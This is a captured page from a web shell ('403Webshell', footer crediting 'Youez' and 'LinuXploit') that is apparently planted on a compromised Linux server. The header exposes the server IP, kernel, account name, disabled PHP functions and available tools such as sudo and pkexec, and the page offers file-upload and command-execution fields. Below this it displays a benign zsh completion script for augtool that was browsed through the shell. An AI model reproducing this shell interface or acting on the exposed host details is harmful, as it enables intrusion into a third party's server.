403Webshell
Server IP : 51.89.169.208  /  Your IP : 216.73.216.126
Web Server : Apache
System : Linux ns3209505.ip-198-244-202.eu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Tue Nov 5 04:50:16 EST 2024 x86_64
User : yellowleaf ( 1019)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/zsh/5.5.1/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/zsh/5.5.1/functions/_augeas
#compdef augtool

local curcontext="$curcontext" state line expl ret=1
local -A opt_args

_arguments -C -s \
  '(-c --typecheck)'{-c,--typecheck}'[perform type checking on lenses]' \
  '(-b --backup)'{-b,--backup}'[preserve original files with .augsave extension]' \
  '(-n --new)'{-n,--new}'[leave files untouched but save changes with a .augnew extension]' \
  '(-r --root)'{-r,--root=}'[specify filesystem root]:root directory:_files -/' \
  \*{-I+,--include=}'[add directory containing lenses to search path]:directory:_files -/' \
  \*{-t+,--transform=}'[add a file transform]:xfm' \
  '(-l --load-file)'{-l+,--load-file=}'[load individual file in the tree]:file:_files' \
  '(-f --file *)'{-f+,--file=}'[read commands from specified file]:file:_files' \
  '(-i --interactive)'{-i,--interactive}'[read commands from the terminal]' \
  '(-e --echo)'{-e,--echo}'[echo commands read from a file or stdin]' \
  '(-s --autosave)'{-s,--autosave}'[automatically save at the end of instructions]' \
  '(-S --nostdinc)'{-S,--nostdinc}'[do not search the builtin default directories for modules]' \
  '(-L --noload)'{-L,--noload}'[do not load any files into the tree on startup]' \
  '(-A --noautoload)'{-A,--noautoload}'[do not autoload modules from the search path]' \
  '--span[load span positions for nodes related to a file]' \
  '--timing[after executing each command, show how long it took]' \
  '(- *)--version[print version information]' \
  '(-)'{-h,--help}'[print help information]' \
  '*:: :->subcommands' && ret=0

[[ -z $state ]] && return ret

if [[ CURRENT -eq 1 || $words[1] == help ]]; then
  local -a subcmds
  subcmds=( ${${${(M)${(f)"$(_call_program subcommands augtool help 2>/dev/null)"}:#  *}## #}// #- /:} )
  _describe -t subcommands "augtool command" subcmds && ret=0
  return ret
fi

_tags paths
while _tags; do
  if _requested paths; then
    local subcmd="$words[1]"
    curcontext="${curcontext%:*}-${subcmd}:"
    if compset -P '/files/'; then
      _all_labels paths expl path _path_files -W / && ret=0
    elif compset -P '/augeas/'; then
      compset -P '*/'
      local files
      files=( ${${(f)"$(_call_program path augtool ls ${words[CURRENT]%/*} 2>/dev/null)"}% = *} )
      while _next_label paths expl path; do
	compadd "$expl[@]" -- ${files:#*/} && ret=0
	compadd "$expl[@]" -S '' -- ${(M)files:#*/} && ret=0
      done
    else
      local -a suf
      suf=(-S '')
      compset -S '/*' || suf=( -S / )
      _all_labels paths expl path compadd -P/ "$suf[@]" files augeas && ret=0
    fi
  fi
  (( ret )) || break
done

return ret

Youez - 2016 - github.com/yon3zu
LinuXploit